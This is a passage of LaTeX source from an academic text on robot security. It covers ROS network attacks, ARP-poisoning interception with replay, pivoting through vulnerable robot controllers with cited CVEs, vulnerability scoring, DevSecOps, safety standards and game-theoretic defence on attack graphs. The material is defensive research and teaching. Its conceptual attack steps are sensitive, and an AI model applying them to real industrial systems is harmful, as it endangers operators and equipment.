\label{fig:networking_multi_agent_attack2}
\end{figure}
As pointed out previously, {ROS}\xspace-Industrial software builds on top of {ROS}\xspace packages which also build on top of traditional networking protocols at OSI layers 3 and 4. It's not uncommon to find {ROS}\xspace deployments using IP/TCP in the Network and Transport levels of the communication stack. The attack demonstrated in Figure \ref{fig:networking_multi_agent_attack2} consists of a malicious attacker with privileged access to an internal {ROS}\xspace-enabled control station (e.g. $S_1$) disrupting the {ROS}\xspace-Industrial communications and interactions of other participants of the network. The attack leverages the lack of authentication in the {ROS}\xspace computational graph previously reported in other vulnerabilities of {ROS}\xspace such as \href{https://github.com/aliasrobotics/RVD/issues/87}{RVD\#87} or \href{https://github.com/aliasrobotics/RVD/issues/88}{RVD\#88}. Without necessarily having to take control of the {ROS}\xspace computational graph, by simply spoofing another participant's credentials (at the network level) and either disturbing or flooding communications within infrastructure's \textbf{Level 2} (Process Network), researchers were able to demonstrate how to heavily impact the {ROS}\xspace and {ROS}\xspace-Industrial operation.
\subsection{$A_3$: Targeting a Control Station through a {PitM} attack}
\begin{figure}[!h]
\makebox[\textwidth][c]{\includegraphics[width=1.2\textwidth]{figures/Attack-3.png}}%
\centering
\caption{\textbf{Use case architecture diagram with a {PitM} attack}: the attackers infiltrate a machine (\textbf{step 1}) which is then used to perform ARP poisoning (\textbf{step 2}) and get attackers inserted in the information stream (\textbf{step 3}). From there, attackers could replay content or modify it as desired.
}
\label{fig:networking_multi_agent_attack3}
\end{figure}
A {PitM} attack targeting a control station (e.g. $\hat{S_2}$) consists of an adversary gaining access to the network flow of information and sitting in the middle, interfering with communications between the original publisher and subscriber as desired. Figure \ref{fig:networking_multi_agent_attack3} depicts how {PitM} demands to conflict not just with the resolution and addressing mechanisms but also to hijack the control protocol being manipulated (ROSTCP in this particular scenario). The attack gets initiated by a malicious actor gaining access and control of a machine in the network (\textbf{Step 1}). Then, using the compromised computer on the control network, the attacker poisons the {ARP} tables on the target host ($\hat{S_7}$) and informs its target that it must route all its traffic through a specific IP and hardware address (\textbf{Step 2}, i.e., the attackers' owned machine). By manipulating the {ARP} tables, the attacker can insert themselves between $\hat{S_7}$ and $\hat{S_2}$\footnote{The attack described in here is a specific {PitM} variant known as {ARP} {PitM}.} (\textbf{Step 3}). When a successful {PitM} attack is performed, the hosts on each side of the attack are unaware that their network data is taking a different route through the adversary's computer. \\
\newline
Once an adversary has successfully inserted their machine into the information stream, they then have full control over the data communications and could carry out several types of attacks. Figure \ref{fig:networking_multi_agent_attack3} shows one possible attack realization method which is the replay attack (\textbf{Step 4}). In its simplest form, captured data from $\hat{S_7}$ is replayed or modified and replayed. During this replay attack, the adversary could continue to send commands to the controller and/or field devices to cause an undesirable event while the operator is unaware of the true state of the system.
\subsection{$A_4$: Targeting a vulnerable robot endpoint to compromise the network}
\begin{figure}[!h]
\makebox[\textwidth][c]{\includegraphics[width=1.3\textwidth]{figures/attack4.png}}%
\centering
\caption{\textbf{Use case architecture diagram with an insider threat}: In orange, we illustrate a failed attack over a Universal Robots controller hardened with the Robot Immune System (RIS). In red, a successful unrestrained code execution attack over a Universal Robots controller with the default setup and configuration allows us to pivot and achieve both $G_1$ and $G_2$.
}
\label{fig:networking_multi_agent_attack4}
\end{figure}
One of the interesting observations made by \cite{mayoral2020can} is that often, robot endpoints are considered as part of the critical path of production and manufacturing processes. Correspondingly, unless there's a functional issue and production stops, robots are rarely \emph{modified} or updated (their firmware). This leads to (robot) connected endpoints that are easy to target and from where an attacker could pivot into the industrial networks. Figure \ref{fig:networking_multi_agent_attack4} depicts one of such scenarios where Mayoral-Vilches et al. attempted first to compromise $\hat{C_6}$ (failed) and then $C_3$ using previously reported and known (yet unresolved) zero-day vulnerabilities in the Universal Robots CB3.1 controller. Examples of such zero-days include \href{https://github.com/aliasrobotics/RVD/issues/1413}{RVD\#1413 }(CVE-2016-6210), \href{https://github.com/aliasrobotics/RVD/issues/1410}{RVD\#1410} (CVE-2016-6515), \href{https://github.com/aliasrobotics/RVD/issues/673}{RVD\#673} (CVE-2018-10635) or
\href{https://github.com/aliasrobotics/RVD/issues/1408}{RVD\#1408} (CVE-2019-19626) among others. Due to the lack of concerns for security from manufacturers like Universal Robots, these end-points can easily become rogue and serve as an entry point for malicious actors. \cite{mayoral2020can} successfully prototyped a simplified attack using \href{https://github.com/aliasrobotics/RVD/issues/1495}{RVD\#1495} (CVE-2020-10290) and taking control over $C_3$. From that point on, they demonstrated how one could access not just {ROS}\xspace network but also the underlying network, pivot (\textsc{$A_1$}), disrupt (\textsc{$A_2$}) or {PitM} (\textsc{$A_3$}) as desired. Such vulnerabilities are useable to define game-theoretic defenses as they set the action spaces for the attacker as a player in the game (see Section \ref{sec:game-theory-definitions}) and can determine the playground, as in Section \ref{sec:cut-the-rope}.
\chapter{Security Practice and Design}\label{sec:advanced-security-design}
An obvious proposal towards hardening the security is always the adoption of stronger cryptographic algorithms, such as quantum computer resistant schemes \citep{buchmann_post-quantum_2008}, called \emph{post-quantum cryptography}. It is fair to note that such schemes do not per se require quantum computing, but are rather based on (quite classical) calculations that are believed to remain intractable to solve even on quantum computers. The most prominent insecure problems on which public-key cryptography can be based are factorization or discrete logarithms, both of which are tractable by quantum computing using the algorithms of \cite{shor_polynomial-time_1996}. Reports on the integration and feasibility studies of post-quantum cryptographic schemes are provided by \cite{varma_post_2020}, and found the computational overhead to be comparable, yet partly even outperforming some more traditional security protocols on OSI layer three. The perhaps more interesting application of quantum computing is herein for enhanced capabilities of the robot perception, reasoning, and general functionality, as has been studied by \cite{petschnigg_quantum_2019}, with a diverse and rich discussion about quantum computing capabilities for future robotic systems.
\section{Penetration Testing}\label{sec:pen-testing}
Returning to Section \ref{sec:defense-attack-examples} and the specific examples therein (see Figures \ref{fig:stealth-publisher-attack}, \ref{fig:malicious-param-attack}, and \ref{fig:service-isolation-attack}), filling the roles of each player (master, slave, publisher, subscriber, etc.) is doable by tools like \texttt{ROSPenTo} \citep{joanneum_robotics_jr-roboticsrospento_2020} or \texttt{Roschaos} \citep{white_ruffslroschaos_2018}. Both have different primary abilities to either conduct precise manipulations on a small scale (\texttt{ROSPenTo}) or destroy the network with large force {API} (\texttt{Roschaos}). Both tools come with command line interfaces allowing to \emph{script} attacks along the sequence diagrams as above, or more generally ones. The three example attacks mentioned above are described by \cite{koubaa_penetration_2020} with full call sequences in these two tools.
A useful auxiliary tool is \texttt{roswtf} \citep{open_robotics_roswtf_2020}, which can be run to identify a set of attack patterns, and bring up vulnerabilities in {ROS}\xspace nodes that need fixing. This is a special case of the more general procedure of vulnerability scanning, covered next.
\section{Vulnerability Scanning}\label{sec:tvs}
Broadening the view, methods from network security naturally apply in robotics, as we also have distributed systems with many components talking to each other. In turn, a {TVA} identifies weaknesses of components and scores them according to best practices and standards. Commercial tools like OpenVAS \citep{greenbone_networks_gmbh_openvas_2020} or Nessus \citep{tenable_nessus_2020} systematically search the network, collect information about the components, and query open databases for reported vulnerabilities. From this data, reports are compiled that list potential vulnerability, optionally ranked by severity. A popular ranking in this regard is the {CVSS} \citep{houmb_estimating_2009}, which provides a score between 0 and 10, with 10 being critical and 0 signifying irrelevance. However, as of version 3.0 of {CVSS}, it has been found to not satisfactorily cover the particularities of robotic systems, particularly matters of \emph{safety}. In a nutshell, {CVSS} considers a categorical rating in a set of metrics, each with its individual scale of values, and each category contributing individually to the overall severity score. Below, we briefly outline the metrics, but refer the interested reader to the respective specifications for details, as we leave it up to the self-explanatory nature of the metric at this point, and since the numerical computations of a score from the categories are only of secondary interest here. Our point is that this popular scoring scheme lacks specific metrics of relevance in the robotics context.
{CVSS} rates a vulnerability in three dimensions, each of which compiles a score from different ingredients. The scoring, as a process, starts with a categorization of various properties of the system and an exploit. These include (but are not limited to) the level of priveledges required, kind of access (network only, or physical, etc.), and many more. We shall keep the details in the following at a level high enough to exemplify the deficiencies of {CVSS} to apply for robotic systems, but nonetheless pointing out the general method of systematizing the vulnerability judgment is indispensable for a comprehensive security design, and to construct the defense game structure and playground (see Chapter \ref{sec:game-theory-intro}).
The {CVSS} score dimensions with determining factors are the following triple, with the respective metrics as they appear in {CVSS} \textit{named italicized}:
\begin{enumerate}
\item Base score: this score distinguishes aspects of exploitability and impact, both of which are rated individually:
\begin{itemize}
\item \textit{Exploitation} is judged from the context by which vulnerability exploitation is possible (\textit{attack vector} (AV)), conditions beyond the attacker’s control that must exist to exploit the vulnerability (\textit{attack complexity} (AC)), level of privileges an attacker must possess before successfully exploiting the vulnerability (\textit{priviledges required} (PR)), requirements for a user, other than the attacker, to participate in the successful compromise of the vulnerable component (\textit{user interaction} (UI)), and the ability for a vulnerability in one software component to impact resources beyond its means, or privilege (\textit{scope} (S)).
\item \textit{Impact} covers the classical \textit{confidentiality}, \textit{integrity} and \textit{availability} goals. Please note that here, like in many related standards, authenticity is not in the primary focus, substantiating our exposition above on the use of cryptographic certificates in this respect, and pointing out that authenticity and access control cannot be considered as covered by using vulnerability scanners or the {CVSS} methodology.
\end{itemize}
\item Temporal score: this one measures the likelihood of the vulnerability being attacked, based on the current state of exploit techniques (Exploit Code Maturity (E)). It further depends on the remediation state of a vulnerability (the less official and permanent fix, the higher the vulnerability scores on the \textit{remediation level} (RL)), and on the degree of confidence in the existence of the vulnerability and the credibility of the known technical details (\textit{report confidence} (RE)).
\item Environmental score: like the base score, this one also distinguishes exploitability and impact, and to this end considers the same ingredients as the base score, only prefixing them as ``modified'' in all cases, i.e., the scores are the ``modified-'' versions of AV, AC, PR, UI and S, in turn called MAV, MAC, MPR, MUI and MS for the exploitation, and MC, MI, and MA for the impact. In both cases, they shall enable the analyst to adjust the base metrics according to modifications that exist within the analyst's environment.
\end{enumerate}
All these variables appearing in upper-case letters above can take values on their own individual categorical scales, which the {CVSS} method then translates into numbers, and compiles the scores with given formulae. Overall, the result is a three-dimensional numeric vector $(B,T,E)\in [0,10]^3$ to describe a vulnerability. It turns out, however, that this classification can miss out on vulnerabilities in the robot context.
Accordingly, \cite{vilches_towards_2019} have designed the {RVSS} as an extension over {CVSS}, whose changes we summarize below for brevity, since {RVSS} inherits all metrics from {CVSS}, only with a few but important refinements. Their effect will later be illustrated by a comparative example showing how {CVSS} and {RVSS} rate vulnerabilities different:
\begin{itemize}
\item {CVSS} speaks about the context by which vulnerability exploitation is possible as the attack vector (AV), taking categorical values in $\{$Network (N), Adjacent Network (A), Local (L), Physical (P)$\}$. {RVSS} adopts a more refined view here by dividing the category N into subcategories being \emph{remote network} (RN), and \emph{adjacent network} (AN), and internal network, as well as distinguishing physical access into \emph{public} ,\emph{restricted} or \emph{isolated}. In turn, each of these categories receives its own score and needs distinction to accurately capture a robotic system.
\item {RVSS} adds a few new metrics to the base, temporal and environmental scores, related to age and safety aspects; in detail, the additional metrics are
\begin{itemize}
\item Age (Y), measuring the timespan since the vulnerability was first reported (in years), with categories being Zero Day (Z), $<$ 1 year (O), $<$ 3 years (T), $\geq 3$ years (M), and Unknown (U).
\item Modified Age (MY), so that the analyst can adjust the base metrics according to modifications that exist within the analyst’s environment.
\item Safety (H), which measures potential physical hazards on humans or the environment. Categorical possible values are Unknown (U), None (N), Environmental (E), and Human (HU).
\item Modified Safety (MH), to enable the analyst to customize score depending on the importance of this aspect
\item Safety Requirement (HR), which the analyst can use to adjust the base metrics according to modifications that exist within the analyst’s environment.
\end{itemize}
\end{itemize}
\cite{vilches_towards_2019} corroborates this proposal by providing a comparison of {CVSS} and {RVSS} metrics, based on vulnerabilities identified in real-life robot system implementations. Table \ref{tbl:rvss-cvss-comparison} gives an overview of the results, where it is particularly interesting to note that the last example would come with an overall zero score in {CVSS}, while {RVSS} does indicate at least medium severity.
\begin{table}[hb!]
\centering
\begin{tabular}{|p{0.45\textwidth}|c|c|}
\hline
Vulnerability description & RVSS & CVSSv3\tabularnewline
\hline
\hline
Missing authorization mechanisms in a protocol allows remote attackers
to gain unauthorized control the robots via network communication & (7.7, 7.7, 7.7) & (9.1, 9.1, 9.1)\tabularnewline
\hline
An attacker on an adjacent network could perform command injection & (10, 10, 10) & (8.8, 8.8, 8.8)\tabularnewline
\hline
An stack-based buffer overflow in a TCP service could allow remote
attackers to execute arbitrary code and alter protected settings via
specially crafted packets & (10, 10, 10) & (10, 10, 10)\tabularnewline
\hline
Exemplary vulnerability in {ROS}\xspace 2.0 communication middleware: Launching
on arm64 with FastRTPS with fat archive from 2018-06-21 never quits & (5.9, 5.9, 5.9) & (0, 0, 0)\tabularnewline
\hline
\end{tabular}
\caption{Comparison of {RVSS} and {CVSS} \citep{vilches_towards_2019}}\label{tbl:rvss-cvss-comparison}
\end{table}
\section{DevSecOps}
Software quality in robotics is often understood as \emph{execution according to design purpose} whereas security is perceived as \emph{the robot will not put data or computing systems at risk of unauthorized access}~\citep{mayoral2020devsecops}. In this section, we introduce DevSecOps in the context of robotics, a set of best practices designed to help roboticists implant security deep in the heart of their development and operations processes.
The compound word ``DevOps'' is a join between development and {IT} operations, and today describes an agile {IT} operations service delivery, understood not as a framework, method or body of knowledge, but rather as a ``working philosophy'' seeking to unify cultures, practices, and tools related to development and operation. In other words, knowing that people from the development area have a different attitude and working style compared to people from {IT} operations, DevOps is the aim of bridging these differences. Robotics maybe offers a particularly complex gap to bridge in this regard, especially when it comes to security, since it demands collaboration between people from software development, computer hardware design, mechanical engineering, and other disciplines. Adding security on top is yet its own challenge, since the awareness about potential threats may largely differ between people from these areas. For example, people specialized in software engineering rarely need to consider physical damage caused to people, as their primary concern is about processing (and maybe protection) of data. Similarly, mechanical engineers rarely need to worry about data confidentiality matters. In robotics, we find an interesting divergence in the understanding of the terms \emph{safety} and \emph{security}, and it is worthwhile bearing in mind both ``definitions'' when people join forces to develop robots:
\begin{figure}[!h]
\begin{itemize}
\item system security context: safety $=$ protection against unintended attacks (i.e., by nature), vs. security $=$ protection against intentional attacks (e.g., by hackers).
\item robot context: safety $=$ prevention of any harm that the robot could do, vs. security $=$ prevention of any damage to the robot itself.
\end{itemize}
\end{figure}
DevOps can be decomposed in two alternatingly connected cycles of development and operation phases, as shown in Figure \ref{fig:devops}. The idea of DevSecOps is adding an optional branch back into the Dev- or the Ops-cycle to ``break'' the alternation pattern if necessary.
The individual phases have their own software aids and organizational procedures, and the challenge of DevOps is to get these under a common denominator of collaboration. Still, the duties in each phase are separable:
\begin{itemize}
\item \emph{code}: this summarizes the writing, review, versioning, documentation, merge, and all other aspects of code authoring.
\item \emph{build}: this includes all matters of compilation, ranging from a plain compilation of source files, until the application of modern build tools (e.g., Ant, Maven, etc.).
\item \emph{test}: besides running pre-defined use-cases, unit tests and the automated generation of test cases is part of this phase, as well as tests with users, including usability evaluations. Specifically, usability needs a distinction based on the ``customer'' of the component, which may be the end-user who buys the final product and gets to see only its official user interface, or whether it is a team colleague coming later in the DevOps cycle and itself concerned with software development, integration, testing, deployment, or other phases inside DevOps.
\item \emph{configure} is the phase of putting the system into an initial configuration for deployment. For security, this means (among others) to set initial access credentials with enforced change upon first (one-time) use, defining a startup procedure, etc.
\item \emph{deployment} is the process of wrapping everything up for an installation in a productive environment. This entails a preparatory phase to package not only executable files, but also resources on which these depend, up to including platforms (operating systems, virtual machines), etc, as well as the actual installation at the customers' premises or in a testing environment.
\item \emph{monitoring} is the continuous surveillance of system performance indicators, but also the collection of data related to economic aspects (business case) and the collection of customer feedback (tickets, etc.).
\item \emph{analyze} compiles the results from the monitoring for different purposes, among them predictive analytics (of the system performance, but also for an early warning about security incidents, e.g., intrusion detection), for the general purpose of identifying the potential for improvement.
\item \emph{planning} takes all information collected from the operational (Ops) phases and reconsiders the current system design accordingly. With security as an additional explicit focus, this feedback includes risk analysis and evaluation results (from ISO31000 processes or similar).
\end{itemize}
DevOps aims at a continuous evaluation of the system's design in the Dev phase, or its operation in the Ops cycle. Figure \ref{fig:devsecops} illustrates this by the two arrows as return directions into the respective cycles. Both correspond to an instance of the well-known Plan-Do-Check-Act cycle of risk management standards like ISO31000. Advanced software engineering may explicitly establish the ISO {PDCA} cycle (plan-do-check-act) within the Dev and the Ops cycle. Specifically, this means an explicit account of security matters during the respective phases, in particular including (but not limited to):
\begin{itemize}
\item Zoning: delineation of areas whose security requirements differ; for example, parts of the system to which access is highly sensitive, as opposed to other parts of a system that may be more open to public access. This also includes a logic division into components that undergo different maintenance procedures (like updates), where zoning -- for security -- means the consideration of side-effects and security implications when a component becomes replaced or updated, or implemented with redundancy (for availability). Typical tools in this regard include containerization (e.g., Docker) or general virtualization technology.
\item Compliance and attestation: throughout the design but also the operational phases, processes need documentation, with a continuous focus on compliance for periodic or continuous risk assessments. ISO 31000 is one framework to formalize the documentation and processes to this end.
\item Logging, monitoring, and database management: likewise as for the certification, all activity in the system needs monitoring and logging for forensic purposes, root cause analyses for error tracking, and also as part of compliance certification (see the previous item).
\item Authentication and authorization, implemented by techniques of access control and identity management. Authenticity herein refers to subjects and needs distinction from the authenticity of data, which is a separate duty (discussed next). Subjects herein include not only people but also components, for which a proof of authenticity is usually called \emph{attestation} (see above).
\item Data security, meaning confidentiality (by encryption), availability (by redundancy), integrity (by cryptographic hash sums), and authenticity (by digital certificates). Further goals can include non-repudiation (using proper logging and access control), and general data quality management \citep{cichy_overview_2019}. Most importantly, the management of keys (for symmetric as well as public-key cryptography) is explicitly included here, spanning the entire lifecycle of keys from generation, distribution, use, update, revocation, escrow, archiving, recovery, and secure destruction of cryptographic keys and general access credentials.
\item Network security, including the ``standard techniques'' like firewalls, network segmentation, etc., but also more advanced security models like black clouds, a.k.a., software-defined perimeters.
\end{itemize}
Integrating the {PDCA} cycle into the DevOps cycle is a matter of linking the respective phases to one another, such as possibly in the following way:
\begin{table}[h!]
\centering
\begin{tabular}{|c|c|}
\hline
{PDCA} phase & DevSecOps phase \\
\hline
plan & plan, test, monitor and analyze \\
\hline
do & plan, code, build and test \\
\hline
check & configure, test, monitor and analyze \\
\hline
act & code, build, test, configure and deploy \\
\hline
\end{tabular}
\end{table}
The correspondence is showing overlaps, meaning that the planning phase in ISO risk management has an apparent link to the planning phase in DevOps, but the two having different aims: while ``plan'' in DevOps relates to the system design, in particular, the phase with the same name in risk management prescribes to include risk mitigation controls in the system. Naturally, this should go into the planning for the development, but not exclusively, as input from the testing, monitoring, and analysis phases can be relevant and useful for risk management as well. The correspondence above shall be understood as explicitly bi-directional, meaning that risk management phases draw inputs from DevOps phases, and DevOps phases need to draw input from the risk management phases vice versa.
The approach of planning first, then implementing the plan (do), followed by monitoring how well the plan meets expectations (check), and working on improvements based on lessons learned (act) within the DevOps cycle (see Figure \ref{fig:devsecops}). Alluding more to security, we can consider \emph{structural improvements} to the system as running through a {PDCA} cycle in the development, and (in parallel) \emph{operational improvements} by running the system in the best possible way. Game theory can help with both regards in several ways:
\begin{itemize}
\item for structural, i.e., design, choices, we can set up games to define the best resource investment related to security. For instance, there are game models to determine where to place honeypots \citep{la_game_2016,boumkheld_honeypot_2019} in networks. Different in concept is the application of games to quantify the security of components; for example, the question of how to run a distributed ledger, say, for secure logging, with quantifiable and guaranteed security. This has been studied by \cite{bushnell_towards_2018}, for example. A third notable application regards adversarial artificial intelligence, where robust optimization \citep{vorobeychik_adversarial_2018} is applied, assuming a rational adversary trying to trick a machine learning system from its intended into a dysfunctional behavior.
\item for operational security, moving target defense is a matter of changing configurations (e.g., access credentials \citep{rass_password_2018}, etc.), or randomization of transmissions (as studied by \cite{rass_secure_2015}), or even hardware design using randomization of register use (usually a precaution to prevent remote code execution by buffer overflows, known as address space layout randomization).
\end{itemize}
Some illustrative selected examples will follow in Sections \ref{sec:cut-the-rope} and \ref{sec:example-games}.
\begin{figure}
\centering
\subfloat[DevOps as alternation between development and operational phases]{\includegraphics[width=0.9\textwidth]{figures/DevOps.pdf}\label{fig:devops}}\\
\subfloat[DevSecOps by integration of (two) {PDCA} cycles]{\includegraphics[width=0.9\textwidth]{figures/DevSecOps.pdf}\label{fig:devsecops}}
\end{figure}
\section{Relevant International Standards}\label{sec:standards}
The (in)security of robots is mostly rooted in the fast digitalization of the branch. Traditionally, robots have been used in (networked) isolation without connections to the outside. Now, with increasing connectedness, the security issues of other connected systems also affect robotics. When developing a new robot or a robot-based application, security is actually an important requirement. Due to the complexity of these systems, assuring security is a non-trivial task that is mostly application-specific. In order to develop a common set of criteria for robot security, the most relevant international standard is the IEC-62443 ``Industrial communication networks - IT security for networks and systems'' standards series. It defines requirements and processes for multiple actors involved in developing a secure industrial system, namely the component vendor, the system integrator, and the end user. IEC-62443 defines multiple security levels depending on which kind of attacks a system should be secured against (ranging from incidental manipulation to highly-skilled groups with extensive resources). Based on the process and requirements defined in IEC-62443, structured, security-enhanced development processes like DevSecOps can be employed to build secure robot systems.
\begin{figure}
\centering
\caption{Safety standards of relevance for robotics and their relationship.}
\label{fig:safety_standards}
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\end{figure}
As pointed in previous sections, there's an intrinsic connection between safety and security. Safety cares about the robot not harming the environment (or humans) whereas security deals with the opposite, aims to ensure the environment does not conflict with the robot's programmed behavior. Functional safety standards reflect this aspect. Figure \ref{fig:safety_standards} depict functional safety standards that are relevant in robotics and the connection between them.
At the European level, The Machinery Directive, Directive 2006/42/EC of the European Parliament and of the Council of 17 May 2006 \cite{directive200642} is a European Union directive whose main intent is to ensure a common safety level in machinery placed on the market, including robotics. In a other words, it seeks to harmonize machine safety requirements. It’s important to note that directives are ratified by the EU as a whole, then each member country is expected to implement its own local laws, regulations and standards to enforce the directive. So the directive is subject to interpretation by lawmakers and regulatory authorities and standards organizations and to further interpretation by companies that design, build and use machinery.
While only the machinery directive itself can be considered a law, the text itself is too broad for industry to apply directly. Accordingly, two alternative European standards were developed by the International Organization for Standardization (ISO) and the International Electrotechnical Commission (IEC) in compliance with EU Machinery Directive 2006/42/EC: EN ISO 13849-1 and EN 62061, both inspired by IEC 61508 "Functional Safety of Electrical/Electronic/Programmable Electronic Safety-related Systems". IEC 61508 is often considered as the meta-standard for safety safety and from where most functional safety norms grow. IEC 61508 indicates the following in section 7.4.2.3:
\begin{quote}
"If the hazard analysis identifies that malevolent or unauthorised action, constituting a security threat, as being reasonably foreseeable, then a security threats analysis should be carried out."
\end{quote}
Moreover, section 7.5.2.2 from IEC 61508 also states:
\begin{quote}
``If security threats have been identified, then a vulnerability analysis should be undertaken in order to specify security requirements."
\end{quote}
which translates to security requirements. Note these requirements are complementary to other security requirements specified in other standards like IEC 62443, and specific to the robotic setup in order to comply with the safety requirements of IEC 61508. In other words, safety requirements spawn from security flaws, which are specific to the robot and influenced by security research. Periodic security assessments should be performed and as new vulnerabilities are identified, they should be translated into new security requirements. More importantly, the fulfillment of these security requirements to maintain the robot protected (and thereby safe) will demand pushing the measures to the robot endpoint. Network-based monitoring solutions will simply not be enough to prevent safety hazards from happening. Safety standards demand thereby for a security mechanism that protects the robot endpoints and fulfill all the security requirements, a {REPP}.
\chapter{Game Theory for Robotic System Security}\label{sec:game-theory-intro}
Before describing the more general terms of game theory and its security application, let us illustrate the basic idea of how to use game theory on a simple game set up on the output artifacts of a (conventional) {TVA} (Section \ref{sec:tvs}), and penetration testing tools (Section \ref{sec:pen-testing}).
A general game is cooked from three ingredients:
\begin{itemize}
\item A set of players, here being only two: a defender (player 1) versus an attacker, as player 2.
\item A set of actions for both players, which depends on the possibilities of defense and attack, resp. penetration. These actions sets are widely unrestricted in terms of how their elements look like, but an ``action'' can be understood as any prescription (arbitrarily complex) on how to act towards a certain goal. This description can range from very simple yes/no decisions, up to complex attack patterns entailing whole sequences of command and control, similarly as in Figure \ref{fig:malicious-param-attack}, for instance.
\item A set of utility functions, for each player, which quantifies the revenue upon the joint actions taken by all players. This is in many cases the most intricate component to specify, since it is supposed to compile a numeric value that all players are supposed to optimize by taking certain actions. For security, this bears the challenge of aggregating perhaps several security goals in the utility value, as well as it also needs to accurately reflect the incentives of each player in the competition. The construction of proper payoff functions is at the core of most game theoretic models for security, with the second core ingredient being the actual solution of the game; in many cases an equilibrium.
\end{itemize}
An equilibrium is a strategy profile that once jointly implemented by all players, does not leave any player with an incentive to deviate from it, given that no other player does so. It is thus a strict selfish perspective, not precluding the possibility to join forces with other players to gain more from the game than one could get alone. In security, however, we mostly assume players to act on their own, as security teams can in many instances be modeled as a single player with a respectively more complex ability to take actions.
In the following, we describe a simple instance of a game that is directly playable on an attack graph, such as a {TVA} would deliver. This has the appeal of naturally inducing the respective action sets, as well as utility functions, in the game about chasing an invisible intruder throughout the attack graph.
\section{Introduction by Example: Chasing the Adversary on Attack Graphs}\label{sec:cut-the-rope}
Suppose that we are dealing with a stealthy attacker that tries to penetrate a system, \emph{e.g.}\xspace, a {ROS}\xspace instance, and seeks to conquer a certain node in it, \emph{e.g.}\xspace, an actor element to cause (physical) damage, or to reconfigure it to produce minor quality in the long run (say, by placing less welding points or otherwise causing quality deterioration).
To illustrate the game and results, consider a very simple system consisting of three machines, one of which (Machine 0) is under an adversary's control, trying to take further control over a particular {ROS}\xspace node, here machine 2. It aims to do so by either directly sending commands to machine 2, or taking a detour over machine 1. Note that we here, in Figure \ref{fig:infrastructure} adapted the example originally due to \cite{singhal_security_2011} for the network context, but analogously applicable to {ROS}\xspace too. Figure \ref{fig:attack-graph} shows an exemplary attack graph with condition nodes (boxes), exploit nodes (ellipses), and starting and finishing points of the attack. The predicates shown along the way represent access takeover events using a certain technique (\emph{e.g.}\xspace, a file transfer to a remote host (\texttt{ftp\_rhost}) or remote shell (\texttt{rsh}) access, from machine A to machine B, denoted as ``parameters'' to the respective predicates. Further exploits concern buffer overflows (\texttt{bof}) in specific protocol stacks (e.g., \texttt{ssh}) or on the \texttt{local} node's firmware).
\begin{figure}
\centering
\begin{minipage}[l]{0.45\textwidth}
\subfloat[Infrastructure (adapted from literature)]{\label{fig:infrastructure}
\includegraphics[width=\textwidth]{figures/apt-example.pdf}}\\
\subfloat[Attack Graph \citep{singhal_security_2011}]{\label{fig:attack-graph}
\includegraphics[width=\textwidth]{figures/attack-graph.pdf}
}
\end{minipage}\qquad
\begin{minipage}[l]{0.45\textwidth}
\subfloat[Attack paths in the graph shown in Fig \ref{fig:attack-graph}]{\label{tbl:as2}
\scriptsize
\rotatebox[origin=bl]{90}{
\begin{tabularx}{15cm}{|l|X|}
\hline
No. & Attack path\\\hline
1 & \texttt{execute(0)} $\to$ \texttt{ftp\_rhosts(0,1)} $\to$ \texttt{rsh(0,1)} $\to$ \texttt{ftp\_rhosts(1,2)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
2 & \texttt{execute(0)} $\to$ \texttt{ftp\_rhosts(0,1)} $\to$ \texttt{rsh(0,1)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)}\\\hline
3 & \texttt{execute(0)} $\to$ \texttt{ftp\_rhosts(0,2)} $\to$ \texttt{rsh(0,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
4 & \texttt{execute(0)} $\to$ \texttt{rsh(0,1)} $\to$ \texttt{ftp\_rhosts(1,2)} $\to$ \texttt{sshd\_bof(0,1)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
5 & \texttt{execute(0)} $\to$ \texttt{rsh(0,1)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
6 & \texttt{execute(0)} $\to$ \texttt{rsh(0,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
7 & \texttt{execute(0)} $\to$ \texttt{sshd\_bof(0,1)} $\to$ \texttt{ftp\_rhosts(1,2)} $\to$ \texttt{rsh(0,1)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\\hline
8 & \texttt{execute(0)} $\to$ \texttt{sshd\_bof(0,1)} $\to$ \texttt{rsh(1,2)} $\to$ \texttt{local\_bof(2)} $\to$ \texttt{full\_access(2)} \\
\hline
\end{tabularx}
}}
\end{minipage}
\caption{Example Playground for \textsc{Cut-The-Rope}}\label{fig:cut-the-rope}
\end{figure}
The mathematical game played on the attack graph proceeds along the following lines:
\begin{enumerate}
\item The intruder runs through several exploits in a sequence, hiding its traces and leaving backdoors for an easy return later on. The intruder can become active at any time (including nights and weekends), and can become active at any frequency (be attacking often in short time, or remaining idle for longer periods). While we do not assume the defender to ``see'' the activities of the adversary, we nonetheless assume that the defender knows the ``rate'' $\lambda$ at which the attacker becomes active per time unit. That is, we adopt an assumption on the knowledge of a value $\lambda$ that measures the ``number of penetrations per time unit''.
The attacker is thus free to pick any attack path, \emph{a.k.a.}\xspace \emph{attack vector}, to reach its goal. And here comes a practical difficulty, since there are generally exponentially many options here. Reducing the complexity of attack graphs to subsequently keep the possibilities within feasible bounds to fix them is a matter beyond our scope here, but important to bear in mind when constructing the attack graph. One simple mean is grouping nodes with similar vulnerabilities or exploits, and other techniques take advantage of game theory here too, and include only those attack vectors who are ``most promising'', assuming that the attacker will not pursue a path with unnecessary many obstacles on it. Commercial tools to compile attack graphs (e.g., \citep{cyvision_technologies_cauldron_2020}) or theoretical accounts for attack-defense games \citep{rass_cyber-security_2020} list methods here to reduce the complexity. In the example shown in Figure \ref{fig:cut-the-rope}, the table in Figure \ref{tbl:as2} shows an exhaustive list of all attack paths that the intruder could follow. The smallness of the example admits this listing here.
